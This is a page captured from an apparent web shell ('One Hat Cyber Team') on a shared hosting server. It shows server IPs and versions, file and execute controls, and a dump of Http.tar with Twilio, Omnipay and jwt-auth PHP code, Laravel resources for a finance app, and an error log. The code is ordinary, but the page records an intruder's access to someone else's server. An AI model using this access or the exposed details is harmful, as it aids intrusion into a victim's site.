One Hat Cyber Team
Your IP:
216.73.216.30
Server IP:
198.54.114.155
Server:
Linux server71.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
5.6.40
Create File
|
Create Folder
Execute
Dir :
~
/
proc
/
self
/
cwd
/
View File Name :
Http.tar
Client.php 0000644 00000000514 15107526077 0006505 0 ustar 00 <?php namespace Twilio\Http; interface Client { public function request(string $method, string $url, array $params = [], array $data = [], array $headers = [], string $user = null, string $password = null, int $timeout = null): Response; } Exception.php 0000644 00000001235 15107526077 0007226 0 ustar 00 <?php namespace Omnipay\Common\Http; use Psr\Http\Message\RequestInterface; use Throwable; abstract class Exception extends \RuntimeException { /** @var RequestInterface */ protected $request; public function __construct($message, RequestInterface $request, $previous = null) { $this->request = $request; parent::__construct($message, 0, $previous); } /** * Returns the request. * * The request object MAY be a different object from the one passed to ClientInterface::sendRequest() * * @return RequestInterface */ public function getRequest() { return $this->request; } } ClientInterface.php 0000644 00000002047 15107526077 0010331 0 ustar 00 <?php namespace Omnipay\Common\Http; use Omnipay\Common\Http\Exception\NetworkException; use Omnipay\Common\Http\Exception\RequestException; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\StreamInterface; use Psr\Http\Message\UriInterface; interface ClientInterface { /** * Creates a new PSR-7 request. * * @param string $method * @param string|UriInterface $uri * @param array $headers * @param resource|string|StreamInterface|null $body * @param string $protocolVersion * * @throws RequestException when the HTTP client is passed a request that is invalid and cannot be sent. * @throws NetworkException if there is an error with the network or the remote server cannot be reached. * * @return ResponseInterface */ public function request( $method, $uri, array $headers = [], $body = null, $protocolVersion = '1.1' ); } Exception/RequestException.php 0000644 00000000202 15107526077 0012526 0 ustar 00 <?php namespace Omnipay\Common\Http\Exception; use Omnipay\Common\Http\Exception; class RequestException extends Exception { } Exception/NetworkException.php 0000644 00000000202 15107526077 0012527 0 ustar 00 <?php namespace Omnipay\Common\Http\Exception; use Omnipay\Common\Http\Exception; class NetworkException extends Exception { } CurlClient.php 0000644 00000020213 15111113141 0007304 0 ustar 00 <?php namespace Twilio\Http; use Twilio\Exceptions\ConfigurationException; use Twilio\Exceptions\EnvironmentException; class CurlClient implements Client { public const DEFAULT_TIMEOUT = 60; protected $curlOptions = []; public $lastRequest; public $lastResponse; public function __construct(array $options = []) { $this->curlOptions = $options; } public function request(string $method, string $url, array $params = [], array $data = [], array $headers = [], string $user = null, string $password = null, int $timeout = null): Response { $options = $this->options($method, $url, $params, $data, $headers, $user, $password, $timeout); $this->lastRequest = $options; $this->lastResponse = null; try { if (!$curl = \curl_init()) { throw new EnvironmentException('Unable to initialize cURL'); } if (!\curl_setopt_array($curl, $options)) { throw new EnvironmentException(\curl_error($curl)); } if (!$response = \curl_exec($curl)) { throw new EnvironmentException(\curl_error($curl)); } $parts = \explode("\r\n\r\n", $response, 3); list($head, $body) = ( \preg_match('/\AHTTP\/1.\d 100 Continue\Z/', $parts[0]) || \preg_match('/\AHTTP\/1.\d 200 Connection established\Z/', $parts[0]) || \preg_match('/\AHTTP\/1.\d 200 Tunnel established\Z/', $parts[0]) ) ? array($parts[1], $parts[2]) : array($parts[0], $parts[1]); $statusCode = \curl_getinfo($curl, CURLINFO_HTTP_CODE); $responseHeaders = []; $headerLines = \explode("\r\n", $head); \array_shift($headerLines); foreach ($headerLines as $line) { list($key, $value) = \explode(':', $line, 2); $responseHeaders[$key] = $value; } \curl_close($curl); if (isset($options[CURLOPT_INFILE]) && \is_resource($options[CURLOPT_INFILE])) { \fclose($options[CURLOPT_INFILE]); } $this->lastResponse = new Response($statusCode, $body, $responseHeaders); return $this->lastResponse; } catch (\ErrorException $e) { if (isset($curl) && \is_resource($curl)) { \curl_close($curl); } if (isset($options[CURLOPT_INFILE]) && \is_resource($options[CURLOPT_INFILE])) { \fclose($options[CURLOPT_INFILE]); } throw $e; } } public function options(string $method, string $url, array $params = [], array $data = [], array $headers = [], string $user = null, string $password = null, int $timeout = null): array { $timeout = $timeout ?? self::DEFAULT_TIMEOUT; $options = $this->curlOptions + [ CURLOPT_URL => $url, CURLOPT_HEADER => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_INFILESIZE => Null, CURLOPT_HTTPHEADER => [], CURLOPT_TIMEOUT => $timeout, ]; foreach ($headers as $key => $value) { $options[CURLOPT_HTTPHEADER][] = "$key: $value"; } if ($user && $password) { $options[CURLOPT_HTTPHEADER][] = 'Authorization: Basic ' . \base64_encode("$user:$password"); } $query = $this->buildQuery($params); if ($query) { $options[CURLOPT_URL] .= '?' . $query; } switch (\strtolower(\trim($method))) { case 'get': $options[CURLOPT_HTTPGET] = true; break; case 'post': $options[CURLOPT_POST] = true; if ($this->hasFile($data)) { [$headers, $body] = $this->buildMultipartOptions($data); $options[CURLOPT_POSTFIELDS] = $body; $options[CURLOPT_HTTPHEADER] = \array_merge($options[CURLOPT_HTTPHEADER], $headers); } else { $options[CURLOPT_POSTFIELDS] = $this->buildQuery($data); $options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/x-www-form-urlencoded'; } break; case 'put': // TODO: PUT doesn't used anywhere and it has strange implementation. Must investigate later $options[CURLOPT_PUT] = true; if ($data) { if ($buffer = \fopen('php://memory', 'w+')) { $dataString = $this->buildQuery($data); \fwrite($buffer, $dataString); \fseek($buffer, 0); $options[CURLOPT_INFILE] = $buffer; $options[CURLOPT_INFILESIZE] = \strlen($dataString); } else { throw new EnvironmentException('Unable to open a temporary file'); } } break; case 'head': $options[CURLOPT_NOBODY] = true; break; default: $options[CURLOPT_CUSTOMREQUEST] = \strtoupper($method); } return $options; } public function buildQuery(?array $params): string { $parts = []; $params = $params ?: []; foreach ($params as $key => $value) { if (\is_array($value)) { foreach ($value as $item) { $parts[] = \urlencode((string)$key) . '=' . \urlencode((string)$item); } } else { $parts[] = \urlencode((string)$key) . '=' . \urlencode((string)$value); } } return \implode('&', $parts); } private function hasFile(array $data): bool { foreach ($data as $value) { if ($value instanceof File) { return true; } } return false; } private function buildMultipartOptions(array $data): array { $boundary = \uniqid('', true); $delimiter = "-------------{$boundary}"; $body = ''; foreach ($data as $key => $value) { if ($value instanceof File) { $contents = $value->getContents(); if ($contents === null) { $chunk = \file_get_contents($value->getFileName()); $filename = \basename($value->getFileName()); } elseif (\is_resource($contents)) { $chunk = ''; while (!\feof($contents)) { $chunk .= \fread($contents, 8096); } $filename = $value->getFileName(); } elseif (\is_string($contents)) { $chunk = $contents; $filename = $value->getFileName(); } else { throw new \InvalidArgumentException('Unsupported content type'); } $headers = ''; $contentType = $value->getContentType(); if ($contentType !== null) { $headers .= "Content-Type: {$contentType}\r\n"; } $body .= \vsprintf("--%s\r\nContent-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n%s\r\n%s\r\n", [ $delimiter, $key, $filename, $headers, $chunk, ]); } else { $body .= \vsprintf("--%s\r\nContent-Disposition: form-data; name=\"%s\"\r\n\r\n%s\r\n", [ $delimiter, $key, $value, ]); } } $body .= "--{$delimiter}--\r\n"; return [ [ "Content-Type: multipart/form-data; boundary={$delimiter}", 'Content-Length: ' . \strlen($body), ], $body, ]; } } File.php 0000644 00000001736 15111113141 0006130 0 ustar 00 <?php declare(strict_types=1); namespace Twilio\Http; final class File { /** * @var string */ private $fileName; /** * @var resource|string|mixed|null */ private $contents; /** * @var string|null */ private $contentType; /** * @param string $fileName full file path or file name for passed $contents * @param string|resource|mixed|null $contents * @param string $contentType */ public function __construct(string $fileName, $contents = null, string $contentType = null) { $this->fileName = $fileName; $this->contents = $contents; $this->contentType = $contentType; } /** * @return resource|string|mixed|null */ public function getContents() { return $this->contents; } public function getFileName(): string { return $this->fileName; } public function getContentType(): ?string { return $this->contentType; } } Response.php 0000644 00000001520 15111113141 0007036 0 ustar 00 <?php namespace Twilio\Http; class Response { protected $headers; protected $content; protected $statusCode; public function __construct(int $statusCode, ?string $content, ?array $headers = []) { $this->statusCode = $statusCode; $this->content = $content; $this->headers = $headers; } /** * @return mixed */ public function getContent() { return \json_decode($this->content, true); } public function getStatusCode(): int { return $this->statusCode; } public function getHeaders(): array { return $this->headers; } public function ok(): bool { return $this->getStatusCode() < 400; } public function __toString(): string { return '[Response] HTTP ' . $this->getStatusCode() . ' ' . $this->content; } } GuzzleClient.php 0000644 00000006062 15111113141 0007665 0 ustar 00 <?php namespace Twilio\Http; use GuzzleHttp\ClientInterface; use GuzzleHttp\Exception\BadResponseException; use GuzzleHttp\Psr7\Query; use GuzzleHttp\Psr7\Request; use Twilio\Exceptions\HttpException; final class GuzzleClient implements Client { /** * @var ClientInterface */ private $client; public function __construct(ClientInterface $client) { $this->client = $client; } public function request(string $method, string $url, array $params = [], array $data = [], array $headers = [], string $user = null, string $password = null, int $timeout = null): Response { try { $options = [ 'timeout' => $timeout, 'auth' => [$user, $password], 'allow_redirects' => false, ]; if ($params) { $options['query'] = $params; } if ($method === 'POST') { if ($this->hasFile($data)) { $options['multipart'] = $this->buildMultipartParam($data); } else { $options['body'] = Query::build($data, PHP_QUERY_RFC1738); $headers['Content-Type'] = 'application/x-www-form-urlencoded'; } } $response = $this->client->send(new Request($method, $url, $headers), $options); } catch (BadResponseException $exception) { $response = $exception->getResponse(); } catch (\Exception $exception) { throw new HttpException('Unable to complete the HTTP request', 0, $exception); } // Casting the body (stream) to a string performs a rewind, ensuring we return the entire response. // See https://stackoverflow.com/a/30549372/86696 return new Response($response->getStatusCode(), (string)$response->getBody(), $response->getHeaders()); } private function hasFile(array $data): bool { foreach ($data as $value) { if ($value instanceof File) { return true; } } return false; } private function buildMultipartParam(array $data): array { $multipart = []; foreach ($data as $key => $value) { if ($value instanceof File) { $contents = $value->getContents(); if ($contents === null) { $contents = fopen($value->getFileName(), 'rb'); } $chunk = [ 'name' => $key, 'contents' => $contents, 'filename' => $value->getFileName(), ]; if ($value->getContentType() !== null) { $chunk['headers']['Content-Type'] = $value->getContentType(); } } else { $chunk = [ 'name' => $key, 'contents' => $value, ]; } $multipart[] = $chunk; } return $multipart; } } Parser/InputSource.php 0000644 00000001244 15111130337 0010765 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Parser; use Illuminate\Http\Request; use Tymon\JWTAuth\Contracts\Http\Parser as ParserContract; class InputSource implements ParserContract { use KeyTrait; /** * Try to parse the token from the request input source. * * @param \Illuminate\Http\Request $request * @return null|string */ public function parse(Request $request) { return $request->input($this->key); } } Parser/AuthHeaders.php 0000644 00000004111 15111130337 0010676 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Parser; use Illuminate\Http\Request; use Tymon\JWTAuth\Contracts\Http\Parser as ParserContract; class AuthHeaders implements ParserContract { /** * The header name. * * @var string */ protected $header = 'authorization'; /** * The header prefix. * * @var string */ protected $prefix = 'bearer'; /** * Attempt to parse the token from some other possible headers. * * @param \Illuminate\Http\Request $request * @return null|string */ protected function fromAltHeaders(Request $request) { return $request->server->get('HTTP_AUTHORIZATION') ?: $request->server->get('REDIRECT_HTTP_AUTHORIZATION'); } /** * Try to parse the token from the request header. * * @param \Illuminate\Http\Request $request * @return null|string */ public function parse(Request $request) { $header = $request->headers->get($this->header) ?: $this->fromAltHeaders($request); if ($header !== null) { $position = strripos($header, $this->prefix); if ($position !== false) { $header = substr($header, $position + strlen($this->prefix)); return trim( strpos($header, ',') !== false ? strstr($header, ',', true) : $header ); } } return null; } /** * Set the header name. * * @param string $headerName * @return $this */ public function setHeaderName($headerName) { $this->header = $headerName; return $this; } /** * Set the header prefix. * * @param string $headerPrefix * @return $this */ public function setHeaderPrefix($headerPrefix) { $this->prefix = $headerPrefix; return $this; } } Parser/Cookies.php 0000644 00000002037 15111130337 0010102 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Parser; use Illuminate\Http\Request; use Illuminate\Support\Facades\Crypt; use Tymon\JWTAuth\Contracts\Http\Parser as ParserContract; class Cookies implements ParserContract { use KeyTrait; /** * Decrypt or not the cookie while parsing. * * @var bool */ private $decrypt; public function __construct($decrypt = true) { $this->decrypt = $decrypt; } /** * Try to parse the token from the request cookies. * * @param \Illuminate\Http\Request $request * @return null|string */ public function parse(Request $request) { if ($this->decrypt && $request->hasCookie($this->key)) { return Crypt::decrypt($request->cookie($this->key)); } return $request->cookie($this->key); } } Parser/KeyTrait.php 0000644 00000001260 15111130340 0010231 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Parser; trait KeyTrait { /** * The key. * * @var string */ protected $key = 'token'; /** * Set the key. * * @param string $key * @return $this */ public function setKey($key) { $this->key = $key; return $this; } /** * Get the key. * * @return string */ public function getKey() { return $this->key; } } Parser/RouteParams.php 0000644 00000001667 15111130340 0010752 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Parser; use Illuminate\Http\Request; use Tymon\JWTAuth\Contracts\Http\Parser as ParserContract; class RouteParams implements ParserContract { use KeyTrait; /** * Try to get the token from the route parameters. * * @param \Illuminate\Http\Request $request * @return null|string */ public function parse(Request $request) { $route = $request->route(); // Route may not be an instance of Illuminate\Routing\Route // (it's an array in Lumen <5.2) or not exist at all // (if the request was never dispatched) if (is_callable([$route, 'parameter'])) { return $route->parameter($this->key); } } } Parser/Parser.php 0000644 00000004661 15111130340 0007741 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Parser; use Illuminate\Http\Request; class Parser { /** * The chain. * * @var array */ private $chain; /** * The request. * * @var \Illuminate\Http\Request */ protected $request; /** * Constructor. * * @param \Illuminate\Http\Request $request * @param array $chain * @return void */ public function __construct(Request $request, array $chain = []) { $this->request = $request; $this->chain = $chain; } /** * Get the parser chain. * * @return array */ public function getChain() { return $this->chain; } /** * Add a new parser to the chain. * * @param array|\Tymon\JWTAuth\Contracts\Http\Parser $parsers * @return $this */ public function addParser($parsers) { $this->chain = array_merge($this->chain, is_array($parsers) ? $parsers : [$parsers]); return $this; } /** * Set the order of the parser chain. * * @param array $chain * @return $this */ public function setChain(array $chain) { $this->chain = $chain; return $this; } /** * Alias for setting the order of the chain. * * @param array $chain * @return $this */ public function setChainOrder(array $chain) { return $this->setChain($chain); } /** * Iterate through the parsers and attempt to retrieve * a value, otherwise return null. * * @return string|null */ public function parseToken() { foreach ($this->chain as $parser) { if ($response = $parser->parse($this->request)) { return $response; } } } /** * Check whether a token exists in the chain. * * @return bool */ public function hasToken() { return $this->parseToken() !== null; } /** * Set the request instance. * * @param \Illuminate\Http\Request $request * @return $this */ public function setRequest(Request $request) { $this->request = $request; return $this; } } Parser/LumenRouteParams.php 0000644 00000001564 15111130340 0011747 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Parser; use Illuminate\Http\Request; use Illuminate\Support\Arr; class LumenRouteParams extends RouteParams { /** * Try to get the token from the route parameters. * * @param \Illuminate\Http\Request $request * @return null|string */ public function parse(Request $request) { // WARNING: Only use this parser if you know what you're doing! // It will only work with poorly-specified aspects of certain Lumen releases. // Route is the expected kind of array, and has a parameter with the key we want. return Arr::get($request->route(), '2.'.$this->key); } } Parser/QueryString.php 0000644 00000001244 15111130340 0010773 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Parser; use Illuminate\Http\Request; use Tymon\JWTAuth\Contracts\Http\Parser as ParserContract; class QueryString implements ParserContract { use KeyTrait; /** * Try to parse the token from the request query string. * * @param \Illuminate\Http\Request $request * @return null|string */ public function parse(Request $request) { return $request->query($this->key); } } Middleware/Authenticate.php 0000644 00000001527 15111130340 0011742 0 ustar 00 <?php namespace App\Http\Middleware; use Illuminate\Auth\Middleware\Authenticate as Middleware; use Illuminate\Support\Facades\Session; use Illuminate\Support\Facades\URL; class Authenticate extends Middleware { /** * Get the path the user should be redirected to when they are not authenticated. * * @param \Illuminate\Http\Request $request * @return string|null */ protected function redirectTo($request) { if (! $request->expectsJson()) { if($request->is('admin') || $request->is('admin/*')){ return redirect('/admin/login'); }elseif($request->is('user') || $request->is('user/*')){ return redirect('/user/login'); }else{ return redirect()->guest(route('front.index')); } } } } Middleware/Check.php 0000644 00000001503 15111130340 0010333 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Middleware; use Closure; use Exception; /** @deprecated */ class Check extends BaseMiddleware { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { if ($this->auth->parser()->setRequest($request)->hasToken()) { try { $this->auth->parseToken()->authenticate(); } catch (Exception $e) { // } } return $next($request); } } Middleware/RefreshToken.php 0000644 00000002242 15111130340 0011716 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Middleware; use Closure; use Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException; use Tymon\JWTAuth\Exceptions\JWTException; /** @deprecated */ class RefreshToken extends BaseMiddleware { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed * * @throws \Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException */ public function handle($request, Closure $next) { $this->checkForToken($request); try { $token = $this->auth->parseToken()->refresh(); } catch (JWTException $e) { throw new UnauthorizedHttpException('jwt-auth', $e->getMessage(), $e, $e->getCode()); } $response = $next($request); // Send the refreshed token back to the client. return $this->setAuthenticationHeader($response, $token); } } Middleware/BaseMiddleware.php 0000644 00000004602 15111130340 0012171 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Middleware; use Illuminate\Http\Request; use Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException; use Tymon\JWTAuth\Exceptions\JWTException; use Tymon\JWTAuth\JWTAuth; /** @deprecated */ abstract class BaseMiddleware { /** * The JWT Authenticator. * * @var \Tymon\JWTAuth\JWTAuth */ protected $auth; /** * Create a new BaseMiddleware instance. * * @param \Tymon\JWTAuth\JWTAuth $auth * @return void */ public function __construct(JWTAuth $auth) { $this->auth = $auth; } /** * Check the request for the presence of a token. * * @param \Illuminate\Http\Request $request * @return void * * @throws \Symfony\Component\HttpKernel\Exception\BadRequestHttpException */ public function checkForToken(Request $request) { if (! $this->auth->parser()->setRequest($request)->hasToken()) { throw new UnauthorizedHttpException('jwt-auth', 'Token not provided'); } } /** * Attempt to authenticate a user via the token in the request. * * @param \Illuminate\Http\Request $request * @return void * * @throws \Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException */ public function authenticate(Request $request) { $this->checkForToken($request); try { if (! $this->auth->parseToken()->authenticate()) { throw new UnauthorizedHttpException('jwt-auth', 'User not found'); } } catch (JWTException $e) { throw new UnauthorizedHttpException('jwt-auth', $e->getMessage(), $e, $e->getCode()); } } /** * Set the authentication header. * * @param \Illuminate\Http\Response|\Illuminate\Http\JsonResponse $response * @param string|null $token * @return \Illuminate\Http\Response|\Illuminate\Http\JsonResponse */ protected function setAuthenticationHeader($response, $token = null) { $token = $token ?: $this->auth->refresh(); $response->headers->set('Authorization', 'Bearer '.$token); return $response; } } Middleware/AuthenticateAndRenew.php 0000644 00000001526 15111130340 0013365 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Http\Middleware; use Closure; /** @deprecated */ class AuthenticateAndRenew extends BaseMiddleware { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed * * @throws \Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException */ public function handle($request, Closure $next) { $this->authenticate($request); $response = $next($request); // Send the refreshed token back to the client. return $this->setAuthenticationHeader($response); } } Resources/MoneyRequestResource.php 0000644 00000002127 15111246733 0013404 0 ustar 00 <?php namespace App\Http\Resources; use App\Models\User; use Illuminate\Http\Resources\Json\JsonResource; class MoneyRequestResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'senderName' => $this->userName($this->user_id), 'amount' => showNameAmount($this->amount), 'cost' => showNameAmount($this->cost), 'amount_to_get' => showNameAmount($this->amount - $this->cost), 'receiverName' => $this->receiver_name, 'status' => $this->status == 1 ? 'Succeed' : 'Pending', 'date' => date('d M Y',strtotime($this->created_at)) ]; } public function userName($id){ $user = User::whereId($id)->first(); if($user){ return $user->name; } return ' '; } } Resources/ReferrarResource.php 0000644 00000001050 15111246733 0012506 0 ustar 00 <?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class ReferrarResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'name' => $this->name, 'joined_at' => $this->created_at->diffForHumans(), ]; } } Resources/SupportTicketResource.php 0000644 00000001335 15111246733 0013564 0 ustar 00 <?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class SupportTicketResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'ticket' => $this->ticket_number, 'subject' => $this->subject, 'message' => $this->message, 'attachment' => url('/') . '/assets/images/'.$this->attachment, 'time' => $this->created_at->diffForHumans(), ]; } } Resources/BlogResource.php 0000644 00000001757 15111246733 0011637 0 ustar 00 <?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class BlogResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'title' => $this->title, 'details' => strip_tags($this->details), 'photo' => url('/') . '/assets/images/'.$this->photo, 'source' => $this->source, 'views' => $this->views, 'status' => $this->status, 'meta_tag' => $this->meta_tag, 'meta_description' => $this->meta_description, 'tags' => $this->source, 'created_at' => $this->created_at ]; } } Resources/BalanceTransferResource.php 0000644 00000001760 15111246733 0014000 0 ustar 00 <?php namespace App\Http\Resources; use App\Models\User; use Illuminate\Http\Resources\Json\JsonResource; class BalanceTransferResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'transaction_no' => $this->transaction_no, 'receiver_email' => $this->userEmail($this->receiver_id), 'amount' => showNameAmount($this->amount), 'cost' => showNameAmount($this->cost), 'status' => $this->status == 1 ? 'Succeed' : 'Pending', ]; } public function userEmail($receiver_id){ $user = User::whereId($receiver_id)->first(); if($user){ return $user->email; } return ' '; } } Resources/TeamResource.php 0000644 00000001571 15111246734 0011635 0 ustar 00 <?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class TeamResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'name' => $this->name, 'photo' => url('/') . '/assets/images/'.$this->photo, 'facebook_link' => $this->fb_link, 'twitter_link' => $this->twitter_link, 'instragram_link' => $this->instra_link, 'linkedin_link' => $this->linkedin_link, 'youtube_link' => $this->youtube_link, 'created_at' => $this->created_at ]; } } Resources/ReferralCommissionResource.php 0000644 00000001532 15111246734 0014547 0 ustar 00 <?php namespace App\Http\Resources; use App\Models\User; use Illuminate\Http\Resources\Json\JsonResource; class ReferralCommissionResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'date' => $this->created_at->toDateString(), 'type' => $this->type, 'from' => $this->userName($this->from_user_id), 'amount' => showNameAmount($this->amount), ]; } public function userName($id){ $user = User::whereId($id)->first(); if($user){ return $user->name; } return ' '; } } Resources/InvestResource.php 0000644 00000001506 15111246734 0012215 0 ustar 00 <?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class InvestResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'transaction_no' => $this->transaction_no, 'method' => $this->method, 'plan' => $this->plan->title, 'profit_amount' => showNameAmount($this->profit), 'status' => ($this->status == 0) ? 'Pending' : (($this->status == 1) ? "Running" : "Completed"), 'next_profit' => $this->profit_time, ]; } } Resources/UserResource.php 0000644 00000002507 15111246734 0011665 0 ustar 00 <?php namespace App\Http\Resources; use App\Models\Generalsetting; use Illuminate\Http\Resources\Json\JsonResource; class UserResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { $gs = Generalsetting::first(); return [ 'id' => $this->id, 'full_name' => $this->name, 'phone' => $this->phone, 'email' => $this->email, 'fax' => $this->fax, 'propic' => $this->photo ? url('/') . '/assets/images/' . $this->photo : url('/') . '/assets/images/'.$gs->user_image, 'zip_code' => $this->zip, 'city' => $this->city, 'country' => $this->country, 'address' => $this->address, 'balance' => $this->balance, 'interest_balance' => $this->interest_balance, 'email_verified' => $this->email_verified, 'affilate_code' => $this->affilate_code, 'affilate_link' => url('/').'/?reff='.$this->affilate_code, 'ban' => $this->is_banned, 'kyc_status' => $this->kyc_status, 'kyc_info' => $this->kyc_info, ]; } } Resources/DepositResource.php 0000644 00000001451 15111246734 0012353 0 ustar 00 <?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class DepositResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'deposit_number'=> $this->deposit_number, 'deposit_date' => date('d M Y',strtotime($this->created_at)), 'method' => $this->method, 'user_email' => $this->user->email, 'amount' => $this->amount, 'status' => $this->status == 'pending' ? 'Pending' : "Completed", ]; } } Resources/error_log 0000644 00000032241 15111246734 0010441 0 ustar 00 [18-Nov-2025 09:54:43 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/SupportTicketResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/SupportTicketResource.php on line 7 [18-Nov-2025 09:57:21 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/TicketReplyResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/TicketReplyResource.php on line 7 [18-Nov-2025 10:07:20 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/TicketReplyResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/TicketReplyResource.php on line 7 [18-Nov-2025 10:08:40 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/SupportTicketResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/SupportTicketResource.php on line 7 [18-Nov-2025 10:17:44 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/TransactionResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/TransactionResource.php on line 7 [18-Nov-2025 11:30:36 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/MoneyRequestResource.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/MoneyRequestResource.php on line 8 [18-Nov-2025 11:53:06 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in 